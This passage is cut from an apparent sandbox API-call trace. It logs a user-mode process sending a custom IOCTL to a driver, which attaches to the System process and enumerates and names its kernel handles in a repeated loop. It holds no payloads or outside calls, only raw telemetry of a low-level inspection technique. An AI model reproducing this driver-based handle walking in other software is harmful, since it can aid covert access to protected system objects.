Object=0xfffff88004435548*=0xfffffa800b97c3f0, HandleInformation=0x0) returned 0x0 [0119.670] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.670] PsReleaseProcessExitSynchronization () returned 0x2 [0119.670] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.670] ObQueryNameString (in: Object=0xfffffa800b97c3f0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.670] ObfDereferenceObject (Object=0xfffffa800b97c3f0) returned 0x2 [0119.670] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.671] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.671] PsAcquireProcessExitSynchronization () returned 0x0 [0119.671] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.671] ObReferenceObjectByHandle (in: Handle=0xffffffff80000900, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.671] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.671] PsReleaseProcessExitSynchronization () returned 0x2 [0119.671] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.671] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.671] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.671] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.671] PsAcquireProcessExitSynchronization () returned 0x0 [0119.671] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.671] ObReferenceObjectByHandle (in: Handle=0xffffffff80000910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800e5ccb60, HandleInformation=0x0) returned 0x0 [0119.671] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.671] PsReleaseProcessExitSynchronization () returned 0x2 [0119.671] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.671] ObQueryNameString (in: Object=0xfffffa800e5ccb60, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.671] ObfDereferenceObject (Object=0xfffffa800e5ccb60) returned 0x2 [0119.671] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.671] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.671] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.671] PsAcquireProcessExitSynchronization () returned 0x0 [0119.671] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.671] ObReferenceObjectByHandle (in: Handle=0xffffffff80000918, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023e0860, HandleInformation=0x0) returned 0x0 [0119.671] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.671] PsReleaseProcessExitSynchronization () returned 0x2 [0119.671] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.671] ObQueryNameString (in: Object=0xfffffa80023e0860, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.671] ObfDereferenceObject (Object=0xfffffa80023e0860) returned 0x2 [0119.671] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.671] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.672] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.672] PsAcquireProcessExitSynchronization () returned 0x0 [0119.672] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.672] ObReferenceObjectByHandle (in: Handle=0xffffffff8000091c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.672] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.672] PsReleaseProcessExitSynchronization () returned 0x2 [0119.672] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.672] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.672] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.672] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.672] PsAcquireProcessExitSynchronization () returned 0x0 [0119.672] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.672] ObReferenceObjectByHandle (in: Handle=0xffffffff80000924, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002350860, HandleInformation=0x0) returned 0x0 [0119.672] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.672] PsReleaseProcessExitSynchronization () returned 0x2 [0119.672] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.672] ObQueryNameString (in: Object=0xfffffa8002350860, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.672] ObfDereferenceObject (Object=0xfffffa8002350860) returned 0x2 [0119.672] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.672] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.672] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.672] PsAcquireProcessExitSynchronization () returned 0x0 [0119.672] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.672] ObReferenceObjectByHandle (in: Handle=0xffffffff80000934, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800dea31f0, HandleInformation=0x0) returned 0x0 [0119.672] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.672] PsReleaseProcessExitSynchronization () returned 0x2 [0119.672] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.672] ObQueryNameString (in: Object=0xfffffa800dea31f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.672] ObfDereferenceObject (Object=0xfffffa800dea31f0) returned 0x2 [0119.672] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.673] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.673] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.673] PsAcquireProcessExitSynchronization () returned 0x0 [0119.673] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.673] ObReferenceObjectByHandle (in: Handle=0xffffffff80000938, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024f8b60, HandleInformation=0x0) returned 0x0 [0119.673] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.673] PsReleaseProcessExitSynchronization () returned 0x2 [0119.673] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.673] ObQueryNameString (in: Object=0xfffffa80024f8b60, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.673] ObfDereferenceObject (Object=0xfffffa80024f8b60) returned 0x2 [0119.673] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.673] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.673] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.673] PsAcquireProcessExitSynchronization () returned 0x0 [0119.673] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.673] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019d8400, HandleInformation=0x0) returned 0x0 [0119.673] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.673] PsReleaseProcessExitSynchronization () returned 0x2 [0119.673] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.673] ObQueryNameString (in: Object=0xfffffa80019d8400, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.673] ObfDereferenceObject (Object=0xfffffa80019d8400) returned 0x2 [0119.673] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.673] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.673] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.673] PsAcquireProcessExitSynchronization () returned 0x0 [0119.673] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.673] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024f69a0, HandleInformation=0x0) returned 0x0 [0119.673] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.673] PsReleaseProcessExitSynchronization () returned 0x2 [0119.674] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.674] ObQueryNameString (in: Object=0xfffffa80024f69a0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.674] ObfDereferenceObject (Object=0xfffffa80024f69a0) returned 0x2 [0119.674] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.674] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.674] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.674] PsAcquireProcessExitSynchronization () returned 0x0 [0119.674] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.674] ObReferenceObjectByHandle (in: Handle=0xffffffff80000958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019e2e60, HandleInformation=0x0) returned 0x0 [0119.674] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.674] PsReleaseProcessExitSynchronization () returned 0x2 [0119.674] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.674] ObQueryNameString (in: Object=0xfffffa80019e2e60, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.674] ObfDereferenceObject (Object=0xfffffa80019e2e60) returned 0x2 [0119.674] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.674] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.674] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.674] PsAcquireProcessExitSynchronization () returned 0x0 [0119.674] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.674] ObReferenceObjectByHandle (in: Handle=0xffffffff80000960, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f5890, HandleInformation=0x0) returned 0x0 [0119.674] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.674] PsReleaseProcessExitSynchronization () returned 0x2 [0119.674] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.674] ObQueryNameString (in: Object=0xfffffa80037f5890, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.674] ObfDereferenceObject (Object=0xfffffa80037f5890) returned 0x2 [0119.674] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.674] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.674] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.674] PsAcquireProcessExitSynchronization () returned 0x0 [0119.675] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.675] ObReferenceObjectByHandle (in: Handle=0xffffffff80000970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f5c50, HandleInformation=0x0) returned 0x0 [0119.675] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.675] PsReleaseProcessExitSynchronization () returned 0x2 [0119.675] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.675] ObQueryNameString (in: Object=0xfffffa80037f5c50, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.675] ObfDereferenceObject (Object=0xfffffa80037f5c50) returned 0x2 [0119.675] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.675] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.675] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.675] PsAcquireProcessExitSynchronization () returned 0x0 [0119.675] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.675] ObReferenceObjectByHandle (in: Handle=0xffffffff80000978, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002967b70, HandleInformation=0x0) returned 0x0 [0119.675] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.675] PsReleaseProcessExitSynchronization () returned 0x2 [0119.675] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.675] ObQueryNameString (in: Object=0xfffffa8002967b70, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.675] ObfDereferenceObject (Object=0xfffffa8002967b70) returned 0x2 [0119.675] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.675] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.675] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.675] PsAcquireProcessExitSynchronization () returned 0x0 [0119.675] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.675] ObReferenceObjectByHandle (in: Handle=0xffffffff80000980, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f97930, HandleInformation=0x0) returned 0x0 [0119.675] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.675] PsReleaseProcessExitSynchronization () returned 0x2 [0119.675] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.675] ObQueryNameString (in: Object=0xfffffa8002f97930, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.676] ObfDereferenceObject (Object=0xfffffa8002f97930) returned 0x2 [0119.676] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.676] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.676] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.676] PsAcquireProcessExitSynchronization () returned 0x0 [0119.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.676] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003424050, HandleInformation=0x0) returned 0x0 [0119.676] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.676] PsReleaseProcessExitSynchronization () returned 0x2 [0119.676] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.676] ObQueryNameString (in: Object=0xfffffa8003424050, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.676] ObfDereferenceObject (Object=0xfffffa8003424050) returned 0x2 [0119.676] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.676] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.676] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.676] PsAcquireProcessExitSynchronization () returned 